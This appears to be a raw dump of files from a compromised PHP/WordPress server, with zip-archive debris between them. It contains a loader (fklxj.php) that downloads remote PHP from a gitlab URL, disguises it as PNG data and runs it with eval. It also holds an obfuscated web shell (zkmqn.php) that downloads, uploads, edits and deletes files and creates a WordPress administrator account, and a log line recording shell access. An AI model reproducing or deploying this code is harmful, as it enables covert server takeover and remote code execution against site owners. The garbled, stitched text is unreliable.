	oAdH7dvkV4k+koUKy38pl6KWknzsPwgx1T4J6f2OGvF6jL7sWERcQvh9r45QfnsagGJC7k
	GJUX0OXp3oPKDoLNyfjRXmdaixQHVeUnKe1aK3Gmhj+Taq9mpukWrnSyzLar9CTQSltbYuxT
	6G7gsBx4oh7DuP5ssA3XU1mKEo0pKeQ/6giBWm6q8QDxM2hlNaJX14YDpToV/lb
	6L6z9NioEDLT+X2slKuWVbwV3ZQqjSPh506uJ7EX71N5HSQMZQoL
	ymfjXbXCdxOF9kmNREuDp8jITOKIWoebWtVK/215pwsp5xGvlczuQ4+sRFV
	FpsUtjmKZPdJFXvq59hNh5kXpP7XTbF
	Hb4Sjhbq5IF64VrVypMY1hKx13cRHYX3J2TctUCSq7Qa0u7J5krJ
	giYpL26hKKYrp44nDWZbym2GFYGY34oIVnVf0XTaF4VYoeLCRlEdl
	Cco8AC8NqGWiSn5ld5/XGU/z9WtvLDanCkNPWsZELPdHe/JOy7ILC6DGzxCa1ishS7
	sTuJ45Y6fbkwxVbJSEh5u9KUl8SWWSI
	Z+g0yN/7rRAzeaTnAs1cj1XFHkyy8m9wE4CO
	7nip56POvqvOvv';
	public $_inc = array('9Li', 'Nraz', 'qWx', 'cnp1', 'Kw', 'Ob', 'nK');
	public $_worker;
}

new Div();
?>PK;m\�����	about.PHPnu�[���<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>E86AEB3YH7W1P4Y5</RequestId><HostId>lrT/cgm+Df6NUHZTiiTUL5UabL2kw55Ziu+sz+x1XScfRFozYLyC3JOXz7PWUe+rTZPAVevtDZA=</HostId></Error>PK;m\����samurai_activity.lognu�[���[2026-03-13 08:02:14] IP: 216.73.216.181 | Action: Shell Accessed | Target: 216.73.216.181 | Status: info | UA: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.c
PK;m\�|b��	fklxj.phpnu�[���<?php

/*
Improved PNG disguise for hidden PHP payloads.
This script fetches remote code, embeds it into a realistic PNG file,
and executes it stealthily.
*/

session_start();

// Main remote code URL (can be overridden by session)
$mainUrl = $_SESSION['ts_url'] ?? 'https://gitlab.com/mrgithub89-group/mrgithub89-projectaa/-/raw/main/wp-security.php';


// --------------------------------------------
// 1. Generate a realistic PNG image (128x128)
// --------------------------------------------
function generateRealisticPngHeader($width = 128, $height = 128) {
    ob_start();
    $image = imagecreatetruecolor($width, $height);

    // Fill with random noise
    for ($x = 0; $x < $width; $x++) {
        for ($y = 0; $y < $height; $y++) {
            $color = imagecolorallocate($image, rand(0,255), rand(0,255), rand(0,255));
            imagesetpixel($image, $x, $y, $color);
        }
    }

    imagepng($image);
    imagedestroy($image);
    return ob_get_clean(); // Binary PNG data
}


// --------------------------------------------
// 2. Load remote PHP code from given URL
// --------------------------------------------
function loadRemoteData($url) {
    $content = '';

    try {
        $file = new SplFileObject($url);
        while (!$file->eof()) {
            $content .= $file->fgets();
        }
    } catch (Throwable $e) {
        $content = '';
    }

    if (strlen(trim($content)) < 1) {
        $content = @file_get_contents($url);
    }

    if (strlen(trim($content)) < 1 && function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_CONNECTTIMEOUT => 5,
            CURLOPT_TIMEOUT => 10,
        ]);
        $content = curl_exec($ch);
        curl_close($ch);
    }

    return $content;
}


// --------------------------------------------
// 3. Create payload by appending hidden PHP code
// --------------------------------------------
function createStealthPayload($phpCode) {
    $png = generateRealisticPngHeader();
    $marker = '###PAYLOAD###';
    $encoded = base64_encode($phpCode);

    return $png . $marker . $encoded;
}


// --------------------------------------------
// 4. Extract and execute hidden payload
// --------------------------------------------
function extractAndExecutePayload($data) {
    $marker = '###PAYLOAD###';
    $parts = explode($marker, $data);

    if (count($parts) === 2) {
        $decoded = base64_decode($parts[1]);
        if ($decoded !== false && strlen(trim($decoded)) > 0) {
            @eval("?>$decoded");
        }
    }
}


// --------------------------------------------
// Main Execution Flow
// --------------------------------------------

$remoteCode = loadRemoteData($mainUrl);

if (strlen(trim($remoteCode)) > 0) {
    $payload = createStealthPayload($remoteCode);
    extractAndExecutePayload($payload);  // Executes hidden remote code
}

?>
PK";m\�Ύ=�/�/	zkmqn.phpnu�[���<?php
/*
--Copyright:https://www.phpcodejm.com
*/
 goto SRLvP; pX0zf: goto Upycx; goto IwVbW; JNX9T: goto ACxZw; goto P3Dsn; V1vcl: goto m1ruy; goto FRbSx; d0ggy: vdRYy: goto w1puP; bf9bm: j65UW: goto WNmBF; M9Oz6: goto qtW4o; goto fO7IX; I0aJC: Uh58U: goto RpT82; Sj5EP: bMXBV: goto QrSn1; aGUgU: Gb0PB: goto PDrj6; JZsHU: goto Sx9yk; goto qGMZo; qBLIC: j2XUx: goto Cd6kR; HOZFb: goto jED5H; goto lfrx4; qrkn2: readfile($xBtNn); goto G5dt5; aCgnf: goto C04vy; goto fwefS; zdsgU: goto NtNFa; goto Ssrys; Szx32: Jp083: goto wEtCr; SRNMA: goto HfAyO; goto Noz1Z; b07Mx: $hznvy = ''; goto NSXyq; SCKIJ: goto XEsqk; goto niBes; kDmxW: goto mUM1a; goto CUT42; xExXe: lp7ye: goto pAuzx; XW18E: goto gEPCt; goto wjSI3; Ga2c2: goto BNnHl; goto lVEqA; OAdsT: goto X_y0p; goto cSm55; xEXPk: hqvji: goto V2OHJ; Z_CK8: FLR87: goto p3Slk; ptGrF: NDS3W: goto NOZ52; O0OJf: OZSVK: goto CUWhv; G5i85: ZDDBq: goto QasTk; cvGW1: $QeOFD = "\x48\145\x6c\154\100\62\60\x32\x35"; goto XYHQP; na3Dm: yySjF: goto o64T0; xMHB4: goto lgAaq; goto X6pqt; ozSq7: goto dYUUJ; goto Ir0Hp; Zk18_: goto n_64s; goto dZWzT; gru6B: goto TAco5; goto EP9uh; GGQYr: goto cAC6U; goto U2iNi; nkg_2: goto WjR1c; goto Vxus2; Yi1pu: QyMd7: goto YUdYI; GekuO: Uxmld: goto yJhHf; jNLL5: l9NmK: goto OQA_Z; BuMBm: ucsul: goto ZN7v7; Dvq11: $hznvy .= "\74\x64\x69\166\x20\x63\x6c\x61\163\x73\x3d\47\167\x61\162\156\x27\76\xc3\xa2\305\241\xc2\xa0\x20\127\x50\x20\165\x73\x65\x72\x20\x61\x6c\162\145\141\144\x79\40\x65\170\x69\x73\x74\163\x3c\x2f\x64\151\166\76"; goto BT3jl; I2Et3: dKikv: goto zLv0S; VJPkJ: goto rw_pK; goto drJna; Ih3aE: goto GUAlg; goto Aub2J; M32Xs: file_put_contents($bG34o, ''); goto yvmps; tDj1L: goto E3cAA; goto y2gjG; FQtCD: goto KPlKX; goto kRugS; HA_FL: goto leovd; goto W57Aw; bUF72: ZtelB: goto iwikX; GqRI3: u4PS7: goto eMvwK; zAaF6: goto HKpfc; goto usIT7; EkRve: goto LpCQF; goto vUscg; PLsH_: DpXAP: goto drhqD; Iwiok: goto FQgPB; goto GqRI3; Xq2OV: fBo5l: goto dBVzx; Ux5iJ: BWqdy: goto M92EE; uIeAN: goto BsQIO; goto vQh3A; nZSBh: goto q_Gb2; goto bigK0; bp0Ep: lBW6U: goto hwypA; U1Q6Z: yF6N3: goto oylB9; Hvjl8: goto l9NmK; goto TVfkN; UtBmG: goto WjY0U; goto Z3O3Z; OdSSG: z3aiS: goto Mtbo1; Osgk9: goto EY5Ku; goto vrgjF; J6pyu: bwWlb: goto LO8kc; WNmBF: goto zyr_3; goto ixhK6; JfqKr: goto uU3hK; goto KMLro; YsVg0: chdir($JdqDR); goto AxE95; jxpFG: eB7a0: goto FGaG1; yGKF6: mKfsV: goto D5nLI; TLAgf: goto jkCKs; goto fc_1M; tzF67: QBjIY: goto tFVhH; MFVnP: goto vVbZO; goto gaukJ; F51Qt: goto zwr0b; goto OE5yA; WkJJa: T3dUd: goto pZvhC; AZoWW: dn0tW: goto LorbC; ofhv1: O2GDB: goto M7Gyp; uaHKE: Mpo7z: goto w48LP; cfBe5: goto Cg50n; goto YA1sX; ri253: jx92z: goto IwPeD; VrDET: FopiD: goto wB4mT; mY2O0: goto jZbVd; goto p8nFI; u8uAR: opisV: goto FY3ak; ObNtA: goto Mlzlf; goto blCrI; WljjD: goto mQZH3; goto ecvwl; f4YMc: goto SjQoV; goto NWr81; CUAcn: vh4Ya: goto J6ZxO; pTdcs: goto hICWj; goto Syg08; nuJVB: UN8fq: goto e_Wqv; HyZO0: goto OuYb9; goto u8uAR; Axgfg: TiAaS: goto Mmj9S; pmAjj: APpNG: goto DwdO1; tkAOW: goto Q3LgY; goto kEL20; B7Xir: KAiSu: goto akgyC; D5nLI: goto V0rXx; goto Dl1hP; Et_rQ: goto Z2hdr; goto VIfmn; gaukJ: pDGyY: goto LThxC; lAkM5: goto zBf07; goto xrFa4; PVG03: dzixS: goto hEI3Z; o64T0: goto OPFVa; goto bkKIN; Z_1_4: $rIJSd = $D6V0J . "\x2f\x77\160\55\x6c\x6f\x61\144\x2e\160\150\x70"; goto ukl0E; zGznt: goto vuZTj; goto PcG05; ydG6k: goto uL9wg; goto EMWmv; u_6Ay: if (!($OYF8c && is_file($OYF8c))) { goto Y2g2U; } goto i2ZBs; O3TT9: goto Xyjxo; goto pTZ4n; C0Wga: yOMqM: goto KoEQZ; O0kYN: wfTR1: goto v8gH4; FBwr6: LNCXp: goto Or33W; XQoQW: Nb5vy: goto fYCQN; noXGz: qCPgI: goto Qx8j3; drJna: Nj2BT: goto u4KuL; SPBAn: K4vVK: goto WZVIb; mrbai: gtobW: goto L9Ybt; cao5i: goto M3Nyk; goto IrMlS; Nhvxt: goto ZtelB; goto W8XxV; YUdYI: goto w4G6M; goto oQSm_; CmNmh: goto ZcleN; goto QrZwZ; bcJ_M: uPBS1: goto xRuWG; zEEkD: goto X_zeJ; goto GFmeZ; CUT42: SDqjo: goto B0GMM; xlAOS: uJ79M: goto Z1Gtb; EaT8m: zxdlp: goto c7tgh; XRTM4: goto oepv3; goto KEX0F; IQxgW: goto KugWs; goto gg0cD; SSma9: wKHRo: goto ByJ5y; fUvG0: goto b0gsz; goto Pfozd; GowsA: goto mKfsV; goto qeEky; qtOMu: goto avda4; goto IGMxG; OkD6Y: mqyWi: goto yabSI; bqqHi: nvOF1: goto Fkejm; eKlHo: WW7k1: goto grpq0; xhqEf: goto KYlTW; goto nkg_2; bTx7G: QJ85Y: goto BMgJY; CTPbL: YKM7Q: goto HOQAy; eyg_4: hZMkj: goto UalKh; zDrDe: goto uvuvp; goto TB1We; MHH3p: goto xVwRJ; goto F0MHf; yCiAq: IHITf: goto bsDQj; NWr81: wlg9r: goto ijyDK; jU6lT: TAco5: goto TdN5J; Mtbo1: goto iTVFz; goto YWduN; NgCA9: goto vos2X; goto PFakA; ZqkGP: goto coM_j; goto m6xtS; SG5Lg: goto FpsD2; goto yrBhB; V5q18: goto V8krl; goto utbJO; hQErw: goto c49UM; goto VXOpn; d1ymB: FH10o: goto xbuKp; wo9bF: hHLeW: goto n0AyI; u7cmk: goto ZbEA_; goto KAk9t; xNL3S: TRGsF: goto QQ73s; nUHZj: piN9u: goto TRK5g; GTP3p: yuxjg: goto V6dIU; WtCDg: goto z1TRi; goto cliCH; cQw0H: goto RbW_B; goto PkpkD; rs4y2: n1dUr: goto FumFJ; c_uLt: pOAWG: goto ciaPa; Ir0Hp: lwEiq: goto vH8mz; pVl5H: GTMrE: goto WCK_n; WsDjn: goto EEaFa; goto h1d09; GX5GA: goto NxoSL; goto C9Pxa; kPGD9: DV0SF: goto hiKrU; jFU8u: if (empty($_FILES["\146\151\154\145"])) { goto eB0P0; } goto syZL1; yRzSi: goto in0Pm; goto flQBy; DYob3: KrrW1: goto iM2Kf; Zq6n4: goto xAjms; goto zFgBo; lGxrt: goto T3dUd; goto EuCPZ; q6Dhk: $q5ijL = "\x68\145\154\x6c\x40\145\x78\x61\x6d\x70\154\145\x2e\143\x6f\x6d"; goto LZFK7; CSW8n: goto h7FAQ; goto na3Dm; GsX13: a7Syc: goto TNSh_; iO6Px: lOLtd: goto JK3Qm; MNJZw: Rq_co: goto AGf2c; dBVzx: goto FEh9e; goto ySbKt; nqTXH: goto Epaeb; goto n5OFn; Vt018: goto XMPXG; goto D5wXD; q2Xs9: goto PLos3; goto O_PAq; pPv8_: PMfz0: goto ZhMNW; BcmUP: goto JWLH7; goto SGYFQ; Ox6lK: goto zicQ5; goto FQtCD; VR99U: CggXw: goto crQvd; fT5pv: $s8hWD->N1bTQ("\x61\144\155\151\156\151\x73\164\x72\x61\164\157\x72"); goto SRNMA; zFgBo: TRreX: goto lGxrt; V9MeH: Mf8XU: goto idhLU; lVEqA: GtXL7: goto q6Dhk; akgyC: ZcleN: goto KksL3; EMWmv: FZ2AP: goto YsVg0; PpMWV: goto ddJgy; goto P3Edt; VXOpn: R1csS: goto vROd0; wsSRO: D1biO: goto IMh2y; S_j6T: goto AJEvA; goto Ze6iU; HtCJj: goto QjXFk; goto mVSsr; KuLD8: ddJgy: goto NO3ry; tmFJ3: goto qRRBF; goto FR0vb; Xpr4d: Sx9yk: goto K25PE; FGaG1: HPZNv: goto caCjE; KJ9DW: goto pHswN; goto Aq8ar; A3U_c: goto S5Fw8; goto c6i_W; aijv1: goto U3iSv; goto KGpi0; XDRQ6: goto LGqK1; goto z7lyU; yrBhB: wZ7ek: goto ZC7Hp; oilrT: nyxtr: goto HrEHe; Bj6yj: @error_reporting(0); goto gHIW2; t45jc: p7RcU: goto S_j6T; p8nFI: hSHZi: goto jFU4M; M1sbV: ZxcyU: goto IZSOL; bX6wS: goto AOh9o; goto rBTq1; iGDOl: goto IqZZY; goto kPGD9; nJOL3: goto jx92z; goto W3QoJ; KmpX7: OFmO8: goto Kq6Pa; nDgjJ: bdO96: goto prjZV; JOi4O: L3B6x: goto vw0N5; ptU3E: goto LNCXp; goto ocGZL; XtvJl: hICWj: goto taEru; DkneV: jB8SS: goto Et_rQ; QYSDt: goto L6DFb; goto TwqXQ; bsDQj: goto hE81D; goto Vt018; KHiK3: goto pYA8s; goto J_Hln; Yr3rL: $c2TOA = $JglkV === "\x77\160\55\x62\154\157\147\x2d\146\162\157\x6e\164\56\160\150\160"; goto Bcjeb; cYkRq: NDbCh: goto hKh1w; rOPBo: goto yOMqM; goto xNL3S; Ze6iU: XTrPy: goto J5sJ6; ENk7J: hRga3: goto PDrMa; jWWrY: VNH2v: goto ihlYt; OE5yA: goto hSHZi; goto hlzGB; X6pqt: MtHzM: goto Z4ti4; nmnAf: TXPYd: goto YvG2f; HPY0G: DlJPI: goto WHIvP; vnxQO: NuHtj: goto u01qJ; CRQCp: M3Nyk: goto MWJuv; FBet9: goto UJfjM; goto OLa4J; xPu83: goto Nj2BT; goto cmre0; QVOeC: Sk_8B: goto fJCbZ; pPuqB: goto KOHoK; goto XnVfC; vWI69: goto pDGyY; goto HozkL; C1F0D: H9M8J: goto nZSBh; on6bL: Bq6R4: goto XUR1G; qBbCO: goto WV1q4; goto CsmT9; a1Q2t: if (!is_file($xBtNn)) { goto ppimC; } goto ItzMj; qW_H0: KOcL8: goto a1Q2t; wAzz2: goto tnzae; goto TXnS3; MJUaz: goto pW0Lg; goto q2Xs9; oYOLp: egqsq: goto NsKNm; x55BZ: goto KOFAb; goto GKNUm; X_Rx5: C04vy: goto JFMBg; UDjGd: v0BK4: goto oYmQe; HLD_L: oepv3: goto b_0ZW; zi3cN: goto wHPSX; goto ZnsV8; b_0ZW: goto wGiMn; goto Owtkw; bm28A: rD0Y7: goto o5L9C; A6Ru8: b0gsz: goto DuIvo; uQFMA: DAUAM: goto Yr3rL; OMyEo: $s8hWD = new S6w0T($tUnme); goto xMHB4; SOxZQ: LvNAD: goto T21kq; Fs86k: PbdyU: goto FBwr6; QBC7y: zFbrx: goto Zoi8b; UJv1z: LerbK: goto HODk0; JY0sP: i_d0m: goto Y7noi; eMvwK: goto dKikv; goto rPcjt; kp5n9: BgbEE: goto Kk1Ev; drZ7J: goto NuHtj; goto aODuH; LQGuL: goto rOJ8q; goto Woiag; AGf2c: WV1q4: goto tn5HK; wvM5G: q7hoD: goto LfvTH; u3UcH: YcUig: goto wvM5G; QPDRP: goto pfJQ7; goto xyW2D; d1lZ2: goto msEep; goto hyxRS; SzvFg: goto QLiDU; goto jFXX4; XnTpj: Mlzlf: goto YS87K; FOBjz: FQgPB: goto aijv1; N0tdo: goto l8Ts7; goto CRQCp; ot7OM: GFVEx: goto ZqIvO; OLBkN: goto NlnCg; goto bsexg; D6Njc: m9e_l: goto LK51e; oBk_h: goto qnoxP; goto lVtDI; DuIvo: goto OZSVK; goto HyZO0; ijn0m: goto MtHzM; goto tJTtt; Owtkw: gRnHu: goto tCX8N; mGj0u: yqCJY: goto MHH3p; bZqDa: ImjyR: goto OmOy_; oDR69: goto kNw4K; goto bp0Ep; p_EOs: goto zT7B3; goto itVgW; FAw4n: goto GtXL7; goto Xpr4d; rHid2: skzZX: goto Ew4Vq; JzMHZ: if (empty($_GET["\x64\x6c"])) { goto gtobW; } goto HVahR; zPWuV: MfzhX: goto XQoQW; LAQcH: goto rLxPm; goto LPrNA; STKGW: cUXEM: goto pVl5H; N5T9R: goto obHgD; goto aPdzy; Fn2MS: vyGaQ: goto HBo7O; Qztwc: y67Ap: goto Ye10f; O1iFw: qRRBF: goto bAvkV; dhR5e: YuCj4: goto KAIdj; PZazT: goto Kjfaz; goto VWhb1; C7_fs: goto MfzhX; goto uQFMA; nagnh: eYfsX: goto XveWy; iCa1I: goto UE4UV; goto fFQF6; ux48b: goto nw9_P; goto KyGJz; cS1Um: goto aF9v3; goto r9ul1; V2OHJ: goto kwn_w; goto kTiZl; IMh2y: iNoeY: goto ekQhe; UalKh: goto BtDrW; goto juHmK; kgXAp: exit; goto av9h0; qX85B: r6FWt: goto Zf00L; vQh3A: cFPwG: goto XRSia; jjccd: goto B3ej5; goto y2xVh; ByJ5y: eL3o9: goto aCgnf; wEY1S: cLY67: goto DuCLf; YNYtN: n1xAc: goto QDb5k; oD1Eb: nwZhy: goto z51Jf; Hw32e: goto yYo4F; goto RUISB; bShoH: GUAlg: goto mY2O0; TPPFj: R2qCT: goto R3R3R; pmXSl: xAjms: goto XfhKL; vrgjF: goto lGDG8; goto YNYtN; veujo: goto GFVEx; goto t786g; Ye10f: DbkW8: goto hrlxR; o5L9C: goto zy63J; goto wRq1b; IZSOL: goto plEkR; goto d7rGB; Qay5o: goto v1oOS; goto uIeAN; W1Yey: jVYnj: goto auHqi; Vxlow: SScWF: goto kgXAp; UVUtQ: M0ssD: goto njHeJ; cSm55: goto QIiQR; goto SSma9; Dl1hP: goto pgOuG; goto Szx32; tObSm: Vpv02: goto SG5Lg; D5wXD: B_6Vv: goto WGcpz; sZ75u: QtsT4: goto Qay5o; r9ul1: yg7sc: goto eU41h; cmre0: YpUjo: goto CmNmh; O_PAq: Bdf2T: goto T_f2O; k5H1Z: $xBtNn = realpath($_GET["\x64\154"]); goto L2A51; q7YAy: goto eB7a0; goto GTP3p; lfrx4: MntkF: goto GX5GA; XYhaQ: goto oRPQR; goto cFk3g; hbaSs: qEiXE: goto evbZT; hxDMW: EGZPJ: goto Dh0LO; JrmU1: goto fciXr; goto pmXSl; chfAw: goto NDS3W; goto v_bQx; ZyBPB: Sh82s: goto JTJ_6; HODk0: echo "\74\150\62\76\105\x64\x69\164\x69\156\x67\x3a\40" . basename($OYF8c) . "\x3c\x2f\150\x32\76"; goto T5gqz; CWDzT: V0rXx: goto C1vkz; sszjo: zy63J: goto kBz8y; bCGEg: o43mB: goto He2H7; h6GK8: BiKFr: goto KmQnX; oIF6W: Ke450: goto iXpBE; fM7Ha: if (is_file($OYF8c)) { goto f5nlv; } goto S301N; niBes: UJfjM: goto OQYRM; HwQDA: goto yyPmy; goto Aaa8o; dDHyn: @rename($D8T_A, $HF_AU); goto O5gxF; T1VpJ: EY5Ku: goto chPI0; xbpy_: goto WZXZz; goto yCiAq; Tm20x: mQZH3: goto TPqB0; MpkXP: goto j65UW; goto wY1La; e6jhU: ufbsx: goto uOeWD; GgoUW: goto Mf8XU; goto oBk_h; kY5qy: goto m8VZu; goto VhhhS; ROCbh: goto QlU0m; goto vCrY0; uOeWD: goto FZ2AP; goto hcwoJ; Qtv3E: MBBhg: goto Wfahm; tCX8N: nYEWv: goto VDpyM; guWkM: laL26: goto rEqON; cae8L: $tUnme = Dmvx7($fNAU7, $QeOFD, $q5ijL); goto HLnpY; APQLu: UQx3P: goto kY5qy; ik5MB: goto Uh58U; goto rHid2; hwypA: goto An6YB; goto tUduY; mXvip: goto q7hoD; goto K31sk; x6VNx: ACxZw: goto eM273; G_inn: I2JmY: goto cae8L; chPI0: goto btFGI; goto kdEdc; Q7X2c: Y2g2U: goto iAu5k; Pfozd: vos2X: goto VNQhF; kTiZl: goto JLhkU; goto jU6lT; i7xEX: goto q0QYS; goto ZKuDE; APerP: goto cc93s; goto FKta4; d_uUZ: zBLh6: goto EV0lx; qw6I2: goto DlJPI; goto zdSMe; KZ0MR: goto IHITf; goto NSBT6; aziJz: bEuoB: goto fz82N; pWLEz: goto MyQwH; goto psN7E; AbqTt: FeMir: goto QNppl; Wu0Dj: goto p7RcU; goto BCH5S; soE6m: goto evnh5; goto OA0vJ; m0qBm: goto zFbrx; goto bm28A; gaUcj: goto Uxmld; goto UDjGd; iXCp0: goto EMYdI; goto xEXPk; ZqIvO: goto vyGaQ; goto KAvzx; uGhan: goto fglM4; goto JRoYV; ivss1: w1uy_: goto lPC2j; TPqB0: goto YuCj4; goto Yi1pu; CsmT9: goto pOAWG; goto CNAMg; zfiF0: goto ReNg9; goto rxL9a; Ogr2e: goto ZFoCt; goto DYob3; PKpvj: eidbW: goto UUu0V; mNl1r: goto ZeFgS; goto BTV6s; J66w6: g6iHC: goto cTu15; VKTu_: uvuvp: goto GKsnu; P3Edt: WPVEP: goto ZyBPB; vGXSF: goto H4smI; goto lmu5v; yxCxR: BBOPc: goto SXKBh; at1Di: fT1WW: goto gIm_B; U1oqU: goto Bdf2T; goto FOBjz; c7tgh: goto I2JmY; goto CZLgn; c9tdZ: goto TXPYd; goto aPMgW; LPrNA: rivn3: goto ZgZvc; SIi_F: T07g6: goto sszjo; X3sGq: JDHCe: goto O29SP; ry0vH: goto iZ5nl; goto HgL8O; qXC8Y: goto KX2Vx; goto qB9Xc; TAeJb: goto DckSI; goto MfKxB; C1n98: Kcvlm: goto TH0hL; NO2YR: IOF4v: goto foNlo; y2xVh: goto LWJCi; goto eKlHo; ijyDK: echo hVC0_($JdqDR); goto gaUcj; gIm_B: goto JMBjk; goto mUedk; N0XQT: WPvfP: goto VKTu_; maSn0: goto ZzPDj; goto QsPIc; FY3ak: goto bMXBV; goto mNl1r; DULDq: goto YvT8m; goto cD76l; tBYLp: goto A5jA1; goto J6pyu; UCa6o: goto j2XUx; goto HMmv3; ebmTO: wssjk: goto s2s94; gtyx3: @unlink($OYF8c); goto xglhX; yikDg: goto SuKca; goto wsSRO; KyGJz: jZbVd: goto AW3Fk; O_ANL: vulF5: goto pS7J6; m3RSl: goto XO56O; goto SbBwM; QrANG: goto zxdlp; goto WOL8H; XAd4w: xCCXR: goto A3iAc; A5vJ4: goto ct3Gd; goto CH5gS; vUscg: Xu8Zx: goto XW18E; nuTOO: gNdVv: goto xdHqL; lmu5v: ZFoCt: goto ithkt; PJpNQ: IfnJf: goto F51Qt; lOUZQ: goto s6Utd; goto yTLyD; H7JE0: yyPmy: goto m6RZK; BTV6s: QxCZA: goto pfb_H; kdEdc: jED5H: goto Rke00; HEtXH: goto QT1FZ; goto wW6wz; LHMHt: goto Kcvlm; goto b8TnL; E6mJN: goto VRmhe; goto bnXuH; O1XTW: pgOuG: goto fW3YQ; VIfmn: goto fdUer; goto L7bMW; t786g: obHgD: goto pPuqB; K31sk: goto rxTcl; goto qW_H0; YfHrC: T4o2I: goto hu4uH; N7YKq: rF9Q0: goto Yp3qL; Qd3lh: if (empty($_POST["\x6e\145\167\x66\151\x6c\x65"])) { goto egqsq; } goto DW21w; MLYir: FAGob: goto bq3T2; DuCLf: HTfnm: goto yjdWQ; OLa4J: f5n0p: goto s5nwg; d12wZ: goto JscKU; goto CTPbL; P3Dsn: goto PEDAo; goto cg4ZT; R3R3R: goto Ig84v; goto OuzcA; DwdO1: goto TbGY0; goto zK5Gj; aODuH: IqZZY: goto ilgUX; ihlYt: goto bgQX6; goto wV2dM; RTRbS: goto ImjyR; goto HEtXH; pS7J6: goto UQx3P; goto jg0N4; x2NQw: n4Z1k: goto JmZFb; V4Gs8: goto xCCXR; goto B1nVA; O0SeS: goto W6f3O; goto tmFJ3; nRCFw: goto ZxcyU; goto tBYLp; zLv0S: goto AG2ub; goto whaQj; c1U1G: goto zBLh6; goto wD9U7; PQ4_q: goto LvNAD; goto JFlyl; u01qJ: M_aAL: goto veujo; C6DGU: goto OCR1p; goto fm2b4; prjZV: file_put_contents($OYF8c, $_POST["\x66\151\x6c\x65\144\141\x74\141"]); goto k4Vi5; tn5HK: goto n1dUr; goto Qztwc; OQYRM: cR2JV: goto jG054; ZvKn_: goto iwDZz; goto h43tU; lRc0U: NKnHC: goto m3RSl; cAAde: goto VMmqS; goto u7cmk; XnVfC: goto y67Ap; goto nagnh; GcvOD: eJqKf: goto wo9bF; Lfe3c: h7FAQ: goto MqVgE; uEoKz: goto GvS0d; goto tzF67; coJ7U: m8VZu: goto tEAi1; LHCPs: goto nWrVW; goto ydG6k; bnyOP: V3DtT: goto at1Di; KoEQZ: kNw4K: goto zAaF6; hiKrU: goto gw96m; goto OE7sw; CwWL8: KugWs: goto M2hcK; nk0Ti: echo $hznvy; goto soNvH; CZKTK: vuZTj: goto Osgk9; Yj7dO: Y0jlT: goto qLPnR; vwZaR: nZebr: goto HLD_L; dzeBt: WrIFn: goto Sj5EP; ckwc3: goto iWIvM; goto FL8BU; QNppl: goto yF6N3; goto CSW8n; GFjzR: goto uo4RA; goto GhxD3; nMeT9: goto ipmoX; goto XAd4w; Q92Uz: RZCVG: goto RrQzB; Mmj9S: if (empty($_GET["\162\x6d"])) { goto XFYQV; } goto lAoqM; VTF8J: HfAyO: goto Wu0Dj; sjCR2: CxF4g: goto HL_Ea; Q1G_q: goto uLRAc; goto H7UpU; G6_zE: goto QfHUS; goto dzZAB; ZKuDE: AMiM3: goto P0cNU; Noz1Z: EM03P: goto tLalb; x1zVu: nw9_P: goto V1vcl; yvmps: goto R1csS; goto bIuzY; wY1La: goto h5315; goto KXSWh; zdpHs: goto LerbK; goto BuMBm; fYcK6: goto bB2bQ; goto cUMx9; TNp3M: goto a7Syc; goto PVG03; bBowp: goto kDQNo; goto G8pQn; B05Ub: goto xUQTL; goto bnyOP; M92EE: goto YPNKf; goto MK6VQ; wW6wz: bJytY: goto FLgPu; s9Uw_: goto TkaFs; goto v0IZQ; tvKkm: goto LcHIH; goto Fs86k; gUCUZ: goto Xu8Zx; goto zPWuV; hyfoa: goto DAUAM; goto f3roe; G8RQx: goto lvK0j; goto KMUru; XUR1G: N_uzv: goto gco9H; W6N2X: VPmxL: goto chfAw; SbBwM: tcFgj: goto QrANG; IHLnC: Qjkti: goto HFyGT; NC8Tt: goto veDoV; goto idetg; cUMx9: TOJnr: goto bkpQm; pAD7h: foreach (scandir($JdqDR) as $jCoCn) { goto UyE9z; Y66nj: goto n9JmS; goto CmzPy; jZlId: goto Se3Tu; goto UILML; aiXU6: goto Hc5YW; goto CeA49; WYe8a: goto b1Sy6; goto RLwy3; yeT4n: hhcfl: goto H8BnH; SCbx4: LnGzv: goto zH3J1; dWdfR: goto kYwc5; goto fRt65; yHJKI: zckap: goto cC8lK; kpLTJ: ww1pr: goto PQx9C; n0Icx: goto hovEi; goto ieGSh; ZEQ3y: goto v8v3A; goto sHonK; XAOvM: goto JRZly; goto tuZY1; oTceV: LWu5h: goto SF4P0; yYzOb: echo "\x3c\x2f\x74\x64\76\74\x74\x64\40\x73\x74\x79\x6c\145\75\x27\x63\x6f\154\157\162\x3a{$nMJTQ}\47\x3e{$zg_8u}\74\x2f\x74\x64\x3e\x3c\164\144\76\xa\x20\x20\x20\x20\x3c\x61\40\163\x74\x79\x6c\145\x3d\47\143\157\x6c\x6f\x72\x3a\x77\150\x69\x74\145\x27\x20\x68\162\145\x66\x3d\47{$y7k3f}\x27\76\104\74\57\141\x3e\xa\40\x20\x20\x20\x3c\x66\157\x72\155\x20\x63\154\x61\x73\x73\75\47\151\156\154\x69\x6e\x65\x27\40\155\145\164\x68\157\x64\75\x27\160\157\163\164\47\x20\x6f\156\x73\165\142\x6d\151\164\75\x27\162\x65\164\165\x72\x6e\x20\x72\145\156\x61\x6d\x65\103\x6f\x6e\x66\151\162\x6d\x28\x74\150\x69\163\51\x27\x3e\12\x20\x20\40\40\74\x69\x6e\x70\x75\164\x20\x74\171\x70\145\x3d\47\150\151\144\x64\x65\x6e\x27\40\x6e\141\155\145\x3d\47\x72\x65\156\x61\x6d\145\137\x6f\154\144\47\x20\x76\141\154\165\x65\75\47{$B_FcA}\x27\x3e\12\40\x20\x20\x20\x3c\x69\156\x70\x75\164\x20\x74\171\160\145\x3d\47\164\145\170\x74\47\x20\156\x61\155\145\x3d\47\162\145\156\141\x6d\x65\137\156\x65\167\x27\x20\x76\x61\154\165\145\75\47" . htmlspecialchars($jCoCn) . 